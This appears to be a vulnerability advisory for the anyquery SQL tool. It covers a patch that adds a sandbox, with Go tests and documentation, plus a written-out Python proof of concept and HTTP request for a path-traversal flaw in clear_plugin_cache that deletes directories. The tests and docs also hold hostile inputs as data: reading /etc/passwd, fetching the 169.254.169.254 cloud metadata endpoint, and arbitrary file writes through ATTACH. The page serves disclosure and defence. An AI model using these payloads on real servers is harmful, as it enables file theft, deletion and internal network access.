    +	db, err := ns.Register("")
    +	if err != nil {
    +		t.Fatalf("Register: %v", err)
    +	}
    +	t.Cleanup(func() { db.Close() })
    +
    +	conn, err := db.Conn(context.Background())
    +	if err != nil {
    +		t.Fatalf("Conn: %v", err)
    +	}
    +	t.Cleanup(func() { conn.Close() })
    +	return conn
    +}
    +
    +// TestSandboxLocalFileRead covers the LFR vulnerability: a sandboxed reader must
    +// refuse files outside the allowed directories but serve files inside them.
    +func TestSandboxLocalFileRead(t *testing.T) {
    +	ctx := context.Background()
    +	allowed := t.TempDir()
    +	csvPath := filepath.Join(allowed, "data.csv")
    +	if err := os.WriteFile(csvPath, []byte("name,age\nalice,30\n"), 0o644); err != nil {
    +		t.Fatal(err)
    +	}
    +
    +	conn := sandboxConn(t, &module.Restrictions{AllowedDirs: []string{allowed}})
    +
    +	// Outside the allowed dir => denied (the PoC payload).
    +	_, err := conn.ExecContext(ctx, "CREATE VIRTUAL TABLE passwd USING csv_reader('/etc/passwd')")
    +	if err == nil {
    +		t.Fatal("expected csv_reader('/etc/passwd') to be denied under sandbox")
    +	}
    +	if !strings.Contains(err.Error(), "sandbox") {
    +		t.Errorf("expected a sandbox error, got: %v", err)
    +	}
    +
    +	// Inside the allowed dir => permitted.
    +	if _, err := conn.ExecContext(ctx, "CREATE VIRTUAL TABLE ok USING csv_reader('"+csvPath+"', header=true)"); err != nil {
    +		t.Fatalf("csv_reader on an allowed path should work, got: %v", err)
    +	}
    +	var n int
    +	if err := conn.QueryRowContext(ctx, "SELECT count(*) FROM ok").Scan(&n); err != nil {
    +		t.Fatalf("select from allowed csv: %v", err)
    +	}
    +	if n != 1 {
    +		t.Errorf("expected 1 row from allowed csv, got %d", n)
    +	}
    +}
    +
    +// TestSandboxSSRF covers the SSRF vulnerability: remote fetches are refused when
    +// remote access is disabled (no network is touched — the check is before fetch).
    +func TestSandboxSSRF(t *testing.T) {
    +	ctx := context.Background()
    +	conn := sandboxConn(t, &module.Restrictions{AllowedDirs: []string{t.TempDir()}})
    +
    +	_, err := conn.ExecContext(ctx, "CREATE VIRTUAL TABLE meta USING csv_reader('http://169.254.169.254/latest/meta-data/')")
    +	if err == nil {
    +		t.Fatal("expected remote fetch to be denied under sandbox")
    +	}
    +	if !strings.Contains(err.Error(), "sandbox") {
    +		t.Errorf("expected a sandbox error, got: %v", err)
    +	}
    +}
    +
    +// TestSandboxArbitraryFileWrite covers the AFW/RCE vulnerability via both native
    +// write primitives: ATTACH DATABASE and VACUUM INTO. Both must be denied and
    +// must not create a file. In-memory ATTACH must still work.
    +func TestSandboxArbitraryFileWrite(t *testing.T) {
    +	ctx := context.Background()
    +	tmp := t.TempDir()
    +	conn := sandboxConn(t, &module.Restrictions{}) // fully locked down
    +
    +	attackPath := filepath.Join(tmp, "pwn.db")
    +	if _, err := conn.ExecContext(ctx, "ATTACH DATABASE '"+attackPath+"' AS pwn"); err == nil {
    +		t.Error("expected ATTACH to an arbitrary path to be denied")
    +	}
    +	if _, statErr := os.Stat(attackPath); statErr == nil {
    +		t.Errorf("ATTACH created a file despite being denied: %s", attackPath)
    +	}
    +
    +	vacuumPath := filepath.Join(tmp, "vac.db")
    +	if _, err := conn.ExecContext(ctx, "VACUUM main INTO '"+vacuumPath+"'"); err == nil {
    +		t.Error("expected VACUUM INTO an arbitrary path to be denied")
    +	}
    +	if _, statErr := os.Stat(vacuumPath); statErr == nil {
    +		t.Errorf("VACUUM INTO created a file despite being denied: %s", vacuumPath)
    +	}
    +
    +	// In-memory ATTACH is legitimate and must remain allowed.
    +	if _, err := conn.ExecContext(ctx, "ATTACH DATABASE ':memory:' AS scratch"); err != nil {
    +		t.Errorf("in-memory ATTACH should be allowed under sandbox, got: %v", err)
    +	}
    +}
    +
    +// TestSandboxDBReadersDisabled covers the connection-string SSRF / DuckDB-RCE
    +// vector: the database reader modules are not registered under a sandbox unless
    +// explicitly allowed.
    +func TestSandboxDBReadersDisabled(t *testing.T) {
    +	ctx := context.Background()
    +	conn := sandboxConn(t, &module.Restrictions{})
    +
    +	_, err := conn.ExecContext(ctx, "CREATE VIRTUAL TABLE d USING duckdb_reader(':memory:', 'x')")
    +	if err == nil {
    +		t.Fatal("expected duckdb_reader to be unavailable under sandbox")
    +	}
    +	if !strings.Contains(strings.ToLower(err.Error()), "no such module") {
    +		t.Errorf("expected 'no such module', got: %v", err)
    +	}
    +}
    +
    +// TestSandboxDBReadersAllowed confirms the opt-in re-registers the DB readers
    +// (the module loads; the connection itself is expected to fail, which is a
    +// different error than "no such module").
    +func TestSandboxDBReadersAllowed(t *testing.T) {
    +	ctx := context.Background()
    +	conn := sandboxConn(t, &module.Restrictions{AllowDBConnections: true})
    +
    +	_, err := conn.ExecContext(ctx, "CREATE VIRTUAL TABLE d USING duckdb_reader(':memory:', 'nonexistent')")
    +	if err != nil && strings.Contains(strings.ToLower(err.Error()), "no such module") {
    +		t.Errorf("duckdb_reader should be registered when allowed, got: %v", err)
    +	}
    +}
    +
    +// TestNoSandboxUnrestricted confirms a nil policy leaves behavior unchanged:
    +// ATTACH to an on-disk path works (no authorizer is installed).
    +func TestNoSandboxUnrestricted(t *testing.T) {
    +	ctx := context.Background()
    +	tmp := t.TempDir()
    +	conn := sandboxConn(t, nil) // unrestricted
    +
    +	dbPath := filepath.Join(tmp, "legit.db")
    +	if _, err := conn.ExecContext(ctx, "ATTACH DATABASE '"+dbPath+"' AS extra"); err != nil {
    +		t.Errorf("unrestricted ATTACH should work, got: %v", err)
    +	}
    +}
    
  • namespace/strings_functions.go+28 16 modified
    @@ -8,14 +8,39 @@ import (
     	"strconv"
     	"strings"
     
    +	"github.com/julien040/anyquery/module"
     	sqlite3 "github.com/julien040/go-sqlite3-anyquery"
     )
     
     // This file defines the string functions that are available in SQL queries
     //
     // If the function has multiple alias, please specify the different names in the comment
     
    -func registerStringFunctions(conn *sqlite3.SQLiteConn) error {
    +func registerStringFunctions(conn *sqlite3.SQLiteConn, restrictions *module.Restrictions) error {
    +	// load_file / load_file_bytes read arbitrary files from disk, so under a
    +	// sandbox they must obey the same allowed-directory policy as the read_*
    +	// modules — otherwise they are a local-file-read bypass. CheckFileRead is a
    +	// no-op on a nil policy (unrestricted CLI use), so behavior is unchanged
    +	// there. A genuine read failure still yields SQL NULL (as before); only a
    +	// policy violation surfaces an error.
    +	loadFileBytes := func(filename string) ([]byte, error) {
    +		if err := restrictions.CheckFileRead(filename); err != nil {
    +			return nil, err
    +		}
    +		content, err := os.ReadFile(filename)
    +		if err != nil {
    +			return nil, nil
    +		}
    +		return content, nil
    +	}
    +	loadFile := func(filename string) (string, error) {
    +		content, err := loadFileBytes(filename)
    +		if err != nil {
    +			return "", err
    +		}
    +		return string(content), nil
    +	}
    +
     	functions := []struct {
     		Name          string
     		Func          interface{}
    @@ -57,8 +82,8 @@ func registerStringFunctions(conn *sqlite3.SQLiteConn) error {
     		{"position", locate_from, true},
     		{"lcase", lcase, true},
     		{"left", left, true},
    -		{"load_file", load_file, true},
    -		{"load_file_bytes", load_file_bytes, true},
    +		{"load_file", loadFile, true},
    +		{"load_file_bytes", loadFileBytes, true},
     		{"lpad", lpad, true},
     		{"rpad", rpad, true},
     		{"octet_length", octet_length, true},
    @@ -323,19 +348,6 @@ func left(str string, length int) string {
     	return str[:length]
     }
     
    -// Read the file and return its content
    -func load_file_bytes(filename string) []byte {
    -	content, err := os.ReadFile(filename)
    -	if err != nil {
    -		return nil
    -	}
    -	return content
    -}
    -
    -func load_file(filename string) string {
    -	return string(load_file_bytes(filename))
    -}
    -
     // Pad the string with the specified character to the specified length
     func lpad(str string, length int, padStr string) string {
     	if length < 0 {
    
  • website/astro.config.mjs+150 147 modified
    @@ -8,162 +8,165 @@ import tailwindcss from "@tailwindcss/vite";
     
     // https://astro.build/config
     export default defineConfig({
    -  site: "https://anyquery.dev",
    +    site: "https://anyquery.dev",
     
    -  integrations: [
    -      alpinejs(),
    -      starlight({
    -          title: "Anyquery",
    -          credits: false,
    -          favicon: "/favicon.png",
    -          customCss: ["./src/docs.css"],
    -          logo: {
    -              src: "./public/images/logo.png",
    -              alt: "Anyquery logo",
    -          },
    +    integrations: [
    +        alpinejs(),
    +        starlight({
    +            title: "Anyquery",
    +            credits: false,
    +            favicon: "/favicon.png",
    +            customCss: ["./src/docs.css"],
    +            logo: {
    +                src: "./public/images/logo.png",
    +                alt: "Anyquery logo",
    +            },
     
    -          components: {
    -          },
    -          description:
    -              "Anyquery allows you to run SQL queries on pretty much any data source, including REST APIs, local files, SQL databases, and more.",
    -          sidebar: [
    -              {
    -                  link: "/docs",
    -                  label: "Getting started",
    -              },
    -              {
    -                  label: "Usage",
    -                  items: [
    -                      {
    -                          label: "Running queries",
    -                          link: "/docs/usage/running-queries",
    -                      },
    -                      {
    -                          label: "Installing plugins",
    -                          link: "/docs/usage/plugins",
    -                      },
    -                      {
    -                          label: "Managing profiles",
    -                          link: "/docs/usage/managing-profiles",
    -                      },
    -                      {
    -                          label: "Connecting LLMs (e.g. ChatGPT)",
    -                          link: "/docs/usage/connecting-llms",
    -                      },
    -                      {
    -                          label: "Querying files",
    -                          link: "/docs/usage/querying-files",
    -                      },
    -                      {
    -                          label: "Querying logs",
    -                          link: "/docs/usage/querying-log",
    -                      },
    -                      {
    -                          label: "Alternative languages (PRQL, PQL)",
    -                          link: "/docs/usage/alternative-languages",
    -                      },
    -                      {
    -                          label: "Exporting results",
    -                          link: "/docs/usage/exporting-results",
    -                      },
    -                      {
    -                          label: "SQL join between APIs",
    -                          link: "/docs/usage/sql-joins",
    -                      },
    -                      {
    -                          label: "MySQL server",
    -                          link: "/docs/usage/mysql-server",
    -                      },
    -                      {
    -                          label: "Query hub (community queries)",
    -                          link: "/docs/usage/query-hub",
    -                      },
    -                      {
    -                          label: "As a library",
    -                          link: "/docs/usage/as-a-library",
    -                      },
    -                      {
    -                          label: "Working with JSON",
    -                          link: "/docs/usage/working-with-arrays-objects-json",
    -                      },
    -                      {
    -                          label: "Troubleshooting and limitations",
    -                          link: "/docs/usage/troubleshooting",
    -                      },
    -                  ],
    -              },
    -              {
    -                  label: "Database",
    -                  autogenerate: {
    -                      directory: "docs/database",
    -                  },
    -                  collapsed: false,
    -              },
    +            components: {},
    +            description:
    +                "Anyquery allows you to run SQL queries on pretty much any data source, including REST APIs, local files, SQL databases, and more.",
    +            sidebar: [
    +                {
    +                    link: "/docs",
    +                    label: "Getting started",
    +                },
    +                {
    +                    label: "Usage",
    +                    items: [
    +                        {
    +                            label: "Running queries",
    +                            link: "/docs/usage/running-queries",
    +                        },
    +                        {
    +                            label: "Installing plugins",
    +                            link: "/docs/usage/plugins",
    +                        },
    +                        {
    +                            label: "Managing profiles",
    +                            link: "/docs/usage/managing-profiles",
    +                        },
    +                        {
    +                            label: "Connecting LLMs (e.g. ChatGPT)",
    +                            link: "/docs/usage/connecting-llms",
    +                        },
    +                        {
    +                            label: "Querying files",
    +                            link: "/docs/usage/querying-files",
    +                        },
    +                        {
    +                            label: "Querying logs",
    +                            link: "/docs/usage/querying-log",
    +                        },
    +                        {
    +                            label: "Alternative languages (PRQL, PQL)",
    +                            link: "/docs/usage/alternative-languages",
    +                        },
    +                        {
    +                            label: "Exporting results",
    +                            link: "/docs/usage/exporting-results",
    +                        },
    +                        {
    +                            label: "SQL join between APIs",
    +                            link: "/docs/usage/sql-joins",
    +                        },
    +                        {
    +                            label: "MySQL server",
    +                            link: "/docs/usage/mysql-server",
    +                        },
    +                        {
    +                            label: "Sandboxing",
    +                            link: "/docs/usage/sandbox",
    +                        },
    +                        {
    +                            label: "Query hub (community queries)",
    +                            link: "/docs/usage/query-hub",
    +                        },
    +                        {
    +                            label: "As a library",
    +                            link: "/docs/usage/as-a-library",
    +                        },
    +                        {
    +                            label: "Working with JSON",
    +                            link: "/docs/usage/working-with-arrays-objects-json",
    +                        },
    +                        {
    +                            label: "Troubleshooting and limitations",
    +                            link: "/docs/usage/troubleshooting",
    +                        },
    +                    ],
    +                },
    +                {
    +                    label: "Database",
    +                    autogenerate: {
    +                        directory: "docs/database",
    +                    },
    +                    collapsed: false,
    +                },
     
    -              {
    -                  label: "Reference",
    -                  items: [
    -                      {
    -                          label: "SQL functions",
    -                          link: "/docs/reference/functions",
    -                      },
    -                      {
    -                          label: "CLI commands",
    -                          autogenerate: {
    -                              directory: "docs/reference/Commands",
    -                          },
    -                          collapsed: true,
    -                      },
    -                  ],
    -              },
    -              {
    -                  autogenerate: {
    -                      directory: "docs/developers",
    -                  },
    -                  label: "Developers",
    -              },
    -              {
    -                  autogenerate: {
    -                      directory: "connection-guide",
    -                  },
    -                  label: "Connection guide",
    -              },
    -          ],
    -          head: [
    -              /* 
    +                {
    +                    label: "Reference",
    +                    items: [
    +                        {
    +                            label: "SQL functions",
    +                            link: "/docs/reference/functions",
    +                        },
    +                        {
    +                            label: "CLI commands",
    +                            autogenerate: {
    +                                directory: "docs/reference/Commands",
    +                            },
    +                            collapsed: true,
    +                        },
    +                    ],
    +                },
    +                {
    +                    autogenerate: {
    +                        directory: "docs/developers",
    +                    },
    +                    label: "Developers",
    +                },
    +                {
    +                    autogenerate: {
    +                        directory: "connection-guide",
    +                    },
    +                    label: "Connection guide",
    +                },
    +            ],
    +            head: [
    +                /* 
       <!-- 100% privacy-first analytics -->
       <script data-collect-dnt="true" async defer src="https://scripts.simpleanalyticscdn.com/latest.js"></script>
       <noscript><img src="https://queue.simpleanalyticscdn.com/noscript.gif?collect-dnt=true" alt="" referrerpolicy="no-referrer-when-downgrade" /></noscript>
       */
    -              {
    -                  tag: "script",
    -                  attributes: {
    -                      "data-collect-dnt": "true",
    -                      async: true,
    -                      defer: true,
    -                      src: "https://sa.anyquery.dev/latest.js",
    -                  },
    -              },
    -          ],
    -      }),
    -      sitemap(),
    -  ],
    +                {
    +                    tag: "script",
    +                    attributes: {
    +                        "data-collect-dnt": "true",
    +                        async: true,
    +                        defer: true,
    +                        src: "https://sa.anyquery.dev/latest.js",
    +                    },
    +                },
    +            ],
    +        }),
    +        sitemap(),
    +    ],
     
    -  prefetch: {
    -      prefetchAll: true,
    -  },
    +    prefetch: {
    +        prefetchAll: true,
    +    },
     
    -  markdown: {
    -      shikiConfig: {
    -          theme: "github-dark",
    -          wrap: false,
    -          defaultColor: false,
    -      },
    +    markdown: {
    +        shikiConfig: {
    +            theme: "github-dark",
    +            wrap: false,
    +            defaultColor: false,
    +        },
     
    -      syntaxHighlight: "shiki",
    -  },
    +        syntaxHighlight: "shiki",
    +    },
     
    -  vite: {
    -    plugins: [tailwindcss()],
    -  },
    +    vite: {
    +        plugins: [tailwindcss()],
    +    },
     });
    \ No newline at end of file
    
  • website/src/content/docs/docs/usage/mysql-server.md+16 0 modified
    @@ -13,6 +13,22 @@ To launch the MySQL server, you need to use the command `server`. It will start
     anyquery server
     ```
     
    +## Sandboxing
    +
    +Because a client connected to the server can run arbitrary SQL, the server is **sandboxed by default**: file reads are confined to an explicit list of directories, remote fetches are blocked, the database reader modules are disabled, `ATTACH DATABASE`/`VACUUM … INTO` and a set of dangerous functions are denied, and `PRAGMA` is limited to a read-only allowlist. This addresses [CVE-2026-50006](https://www.cve.org/CVERecord?id=CVE-2026-50006) and [CVE-2026-47253](https://www.cve.org/CVERecord?id=CVE-2026-47253).
    +
    +```bash title="Sandboxed server that may read two directories and fetch remote URLs"
    +anyquery server --allow-dirs /var/data,/srv/exports --allow-remote
    +```
    +
    +You can disable the sandbox with `--no-sandbox`, but only on a trusted, non-exposed deployment.
    +
    +See [Sandboxing](/docs/usage/sandbox) for the full policy, every flag, and the blocked functions and pragmas.
    +
    +:::caution
    +The server has no authentication by default. The sandbox limits what a connected client can do, but you should still add [authentication](#adding-authentication) before exposing the server.
    +:::
    +
     ## Configuring the MySQL server
     
     ### Changing the address and port
    
  • website/src/content/docs/docs/usage/sandbox.md+130 0 added
    @@ -0,0 +1,130 @@
    +---
    +title: Sandboxing
    +description: Restrict what SQL clients can read, fetch and write when anyquery is exposed as a server.
    +---
    +
    +When anyquery is exposed to clients — as a [MySQL server](/docs/usage/mysql-server), or as an [LLM endpoint](/docs/usage/connecting-llms) (`gpt`/`mcp`) — those clients can run arbitrary SQL. Anyquery's built-in features make arbitrary SQL powerful: the `read_*` table functions read files, several of them fetch remote URLs, `ATTACH DATABASE` writes files, and a few scalar functions read files or delete cache directories. On a server, that turns into local file read, server-side request forgery (SSRF), and arbitrary file write for anyone who can reach the port.
    +
    +The sandbox closes those doors. It is a policy attached to the database namespace that confines file access to an explicit set of directories, blocks remote fetches, and denies the dangerous SQL statements and functions.
    +
    +:::caution[Security fix]
    +The sandbox was introduced to address [CVE-2026-50006](https://www.cve.org/CVERecord?id=CVE-2026-50006) and [CVE-2026-47253](https://www.cve.org/CVERecord?id=CVE-2026-47253) (local file read, SSRF and arbitrary file write through unrestricted virtual-table modules and SQL functions in server mode). It is **enabled by default** on every network-facing surface. Keep it on in production, and add [authentication](/docs/usage/mysql-server#adding-authentication) on top of it.
    +:::
    +
    +## When is the sandbox active?
    +
    +The default depends on the command, because the exposure differs:
    +
    +| Command | Sandbox by default | How to change it |
    +| --- | --- | --- |
    +| `anyquery server` | **On** | `--no-sandbox` to disable |
    +| `anyquery gpt` | **On** (exposes an internet tunnel by default) | `--no-sandbox` to disable |
    +| `anyquery mcp` | **Auto** — on when network-exposed (`--tunnel`, or a non-loopback `--host`); off for plain `localhost`/`--stdio` | `--sandbox` to force on, `--sandbox=false` to force off |
    +| `anyquery query` / interactive shell | **Off** (local use is trusted) | `--sandbox` to opt in |
    +
    +CLI mode is meant for local data analysis and is not an attack surface, so it is unrestricted by default. You can still opt in with `--sandbox` to mirror the server's behaviour.
    +
    +## What the sandbox restricts
    +
    +When active, the sandbox enforces the following. The default is **deny everything**, then you relax it with the flags below.
    +
    +- **File reads** — the `read_*` table functions (`read_csv`, `read_json`, `read_parquet`, `read_yaml`, `read_toml`, `read_jsonl`, `read_html`, `read_log`) may only read files inside the directories you list with `--allow-dirs`. Symlinks are resolved before the check, so a link inside an allowed directory cannot point out of it.
    +- **Remote fetches** — fetching `http`, `https`, `s3`, `gcs`, `git`, … URLs is disabled. Only local files are reachable unless you pass `--allow-remote`.
    +- **Database readers** — the `duckdb_reader`, `postgres_reader`, `mysql_reader`, `clickhouse_reader` and `cassandra_reader` modules are not registered at all (they take arbitrary connection strings, and DuckDB can itself read local files and load extensions). `CREATE VIRTUAL TABLE … USING duckdb_reader(...)` fails with `no such module` unless you pass `--allow-db-connections`.
    +- **`ATTACH DATABASE` / `VACUUM … INTO`** — both are arbitrary-file-write primitives. In-memory databases (`:memory:`, `mode=memory`) are always allowed; writing to disk is denied unless you pass `--allow-attach`, and even then it is confined to `--allow-dirs`.
    +- **Blocked SQL functions** — see [below](#blocked-sql-functions).
    +- **Restricted PRAGMAs** — see [below](#restricted-pragmas).
    +
    +## Relaxing the restrictions
    +
    +The default configuration is intentionally strict: no readable directories, no remote access, no database connections. Open up only what you need.
    +
    +```bash title="Allow read_* tables to read two directories"
    +anyquery server --allow-dirs /var/data,/srv/exports
    +```
    +
    +```bash title="Allow remote fetches (http/https/s3/…)"
    +anyquery server --allow-dirs /var/data --allow-remote
    +```
    +
    +```bash title="Allow ATTACH/VACUUM INTO to disk (still confined to --allow-dirs)"
    +anyquery server --allow-dirs /var/data --allow-attach
    +```
    +
    +```bash title="Re-enable the database reader modules"
    +anyquery server --allow-db-connections
    +```
    +
    +| Flag | Effect |
    +| --- | --- |
    +| `--allow-dirs <dir,dir>` | Directories the `read_*` tables (and on-disk `ATTACH`) may access. Repeatable / comma-separated. Empty by default. |
    +| `--allow-remote` | Allow `read_*` tables to fetch remote URLs. |
    +| `--allow-attach` | Allow `ATTACH DATABASE` / `VACUUM … INTO` to on-disk paths within `--allow-dirs`. |
    +| `--allow-db-connections` | Register the `duckdb_reader`/`postgres_reader`/… modules. |
    +
    +:::note
    +`--allow-remote` is all-or-nothing. When enabled, the server can again reach internal addresses and cloud metadata endpoints (e.g. `169.254.169.254`). Only enable it on trusted deployments.
    +:::
    +
    +## Blocked SQL functions
    +
    +A handful of scalar functions read files or delete directories on disk. When the sandbox is active they are **denied outright** by the SQLite authorizer — they cannot be relaxed with `--allow-dirs`:
    +
    +| Function | Why it is blocked |
    +| --- | --- |
    +| `load_file`, `load_file_bytes` | Read an arbitrary file into a value (a local-file-read bypass of the `read_*` confinement). |
    +| `clear_plugin_cache`, `clear_file_cache` | Delete cache directories on disk (cache management is an operator action, not a client one). |
    +| `load_extension` | Loading a SQLite extension is remote code execution. The SQL function is disabled by the driver, and the sandbox denies it explicitly as defence in depth. |
    +
    +```sql title="Blocked under the sandbox"
    +SELECT load_file('/etc/passwd');   -- error: not authorized
    +```
    +
    +To read a file inside an allowed directory, use a `read_*` table function instead of `load_file` — those are permitted within `--allow-dirs`:
    +
    +```sql title="Allowed when /var/data is in --allow-dirs"
    +SELECT * FROM read_csv('/var/data/report.csv');
    +```
    +
    +## Restricted PRAGMAs
    +
    +`PRAGMA` is gated to a **read-only allowlist**. Only schema-introspection pragmas that the engine, the MySQL protocol handler and the `information_schema`/`SHOW` emulation rely on are permitted:
    +
    +```text
    +table_info, table_xinfo, table_list, index_info, index_xinfo, index_list,
    +foreign_key_list, database_list, collation_list, function_list, module_list,
    +pragma_list, compile_options
    +```
    +
    +Every other `PRAGMA` is denied. This blocks schema-corruption vectors (`PRAGMA writable_schema=ON` followed by `UPDATE sqlite_master`) and memory-inflation pragmas (`PRAGMA cache_size`, `PRAGMA mmap_size`).
    +
    +```sql title="Blocked under the sandbox"
    +PRAGMA writable_schema=ON;   -- error: not authorized
    +```
    +
    +## Disabling the sandbox
    +
    +The function deny-list and the PRAGMA allowlist are part of the sandbox and cannot be relaxed individually. If you genuinely need `load_file`, an arbitrary `PRAGMA`, or the database readers without restriction, you must turn the sandbox off entirely — only do this on a trusted, non-exposed deployment:
    +
    +```bash title="Disable the sandbox (UNSAFE on an exposed port)"
    +anyquery server --no-sandbox
    +```
    +
    +```bash title="MCP exposed via a tunnel, but sandbox explicitly forced off"
    +anyquery mcp --tunnel --sandbox=false
    +```
    +
    +## Enabling the sandbox in CLI mode
    +
    +CLI mode is unrestricted by default. Pass `--sandbox` to apply the same policy — useful when running untrusted SQL locally, or to reproduce the server's behaviour:
    +
    +```bash title="Run a query under the sandbox"
    +anyquery query --sandbox --allow-dirs /var/data -q "SELECT * FROM read_csv('/var/data/report.csv')"
    +```
    +
    +Without `--allow-dirs`, a sandboxed query cannot read any file:
    +
    +```bash
    +anyquery query --sandbox -q "SELECT * FROM read_csv('/etc/passwd')"
    +# error: sandbox: access to "/etc/passwd" is not allowed; permitted directories: []
    +```
    

Vulnerability mechanics

Root cause

"The `clear_plugin_cache` function in `namespace/other_functions.go` does not properly sanitize the `plugin` argument before passing it to `path.Join` and `os.RemoveAll`, allowing path traversal."

Attack vector

An attacker with low-privileged bearer token access can send a crafted SQL query to the `/v1/query` HTTP endpoint. By submitting a `plugin` argument containing `..` segments, such as `SELECT clear_plugin_cache('../../../../tmp/target')`, the attacker can trick `path.Join` into resolving a path outside the intended cache directory. The subsequent `os.RemoveAll` call then deletes the specified directory on the server's filesystem [ref_id=1].

Affected code

The vulnerability resides in the `clear_plugin_cache` function within `namespace/other_functions.go`. Specifically, line 46 uses `pathlib.Join` with user-controlled input, and line 53 uses `os.RemoveAll` on the resulting path without sufficient validation [ref_id=1]. The patch modifies `namespace/other_functions.go` and introduces new files like `module/restrictions.go` to implement path validation.

What the fix does

The patch introduces a new `module.Restrictions` type and integrates it into the `clear_plugin_cache` function. Before calling `os.RemoveAll`, the code now calculates the relative path of the target directory from the cache root. If the relative path indicates traversal outside the cache root (e.g., starts with `..`), the operation is rejected with an "Invalid plugin name" error. This prevents the `os.RemoveAll` function from operating on arbitrary paths outside the intended directory [patch_id=5503170].

Preconditions

  • authThe attacker must possess a low-privileged bearer token.
  • networkThe attacker must be able to send HTTP requests to the `/v1/query` endpoint.

Reproduction

[Prerequisites](https://github.com/advisories/GHSA-j9rx-rppg-6hh4#prerequisites)

**Step 1 — Build and start the vulnerable service:**

```bash docker build -f Dockerfile -t anyquery-vuln002 . docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 ```

**Step 2 — Run the PoC script (separate terminal):**

```bash python3 poc.py ```

**poc.py:**

```python #!/usr/bin/env python3 """PoC reproduction script — julien040/anyquery / VULN-002

Prerequisites: - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 . - Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 - Python packages: requests (stdlib subprocess also used)

How to run (from this report directory, after Dockerfile service is up): python3 poc.py

Expected on success: Final stdout line begins with `RESULT: PASS` confirming that the sentinel directory outside the cache root was deleted via clear_plugin_cache path traversal. """

import subprocess import sys import json import requests

BASE_URL = "http://127.0.0.1:8070" CONTAINER = "anyquery-vuln002" # Traversal payload: XDG_CACHE_HOME=/root/.cache, so # path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel") # resolves to /tmp/poc_sentinel (4 levels up escapes the cache root). TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel" SENTINEL_PATH = "/tmp/poc_sentinel" QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"

def docker_exec(cmd): result = subprocess.run( ["docker", "exec", CONTAINER] + cmd, capture_output=True, text=True ) return result.returncode, result.stdout, result.stderr

def sentinel_exists(): rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH]) return rc == 0

# Step 1: create sentinel inside container print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...") rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH]) if rc != 0: sys.exit(f"RESULT: FAIL — could not create sentinel: {err}") if not sentinel_exists(): sys.exit("RESULT: FAIL — sentinel not present after mkdir") print(f" Sentinel created: {SENTINEL_PATH}")

# Step 2: confirm server is reachable print("[2] Confirming server is reachable...") try: r = requests.get(f"{BASE_URL}/list-tables", timeout=5) assert r.status_code == 200, f"unexpected status {r.status_code}" print(f" GET /list-tables → HTTP {r.status_code} OK") except Exception as e: sys.exit(f"RESULT: FAIL — server not reachable: {e}")

# Step 3: send traversal request print("[3] Sending path-traversal payload via POST /execute-query...") payload = {"query": QUERY} r = requests.post( f"{BASE_URL}/execute-query", headers={"Content-Type": "application/json"}, data=json.dumps(payload), timeout=10, ) print(f" HTTP {r.status_code}") print(f" Body: {r.text.strip()}")

if r.status_code != 200: sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status_code}")

# Step 4: verify sentinel is gone print("[4] Checking whether sentinel was deleted inside container...") if sentinel_exists(): print(f" Sentinel still present — traversal did not delete it.") print(f"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request") else: print(f" Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.") print(f"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)") ```

**HTTP request:**

```http POST /execute-query HTTP/1.1 Host: 127.0.0.1:8070 Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"} ```

**Output:**

```text [1] Creating sentinel directory /tmp/poc_sentinel inside container... Sentinel created: /tmp/poc_sentinel [2] Confirming server is reachable... GET /list-tables → HTTP 200 OK [3] Sending path-traversal payload via POST /execute-query... HTTP 200 Body: +----------------------------------------------------+ | clear_plugin_cache('../../../../tmp/poc_sentinel') | +----------------------------------------------------+ | | +----------------------------------------------------+ 1 results [4] Checking whether sentinel was deleted inside container... Sentinel GONE — /tmp/poc_sentinel deleted outside cache root. RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/) ```

Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.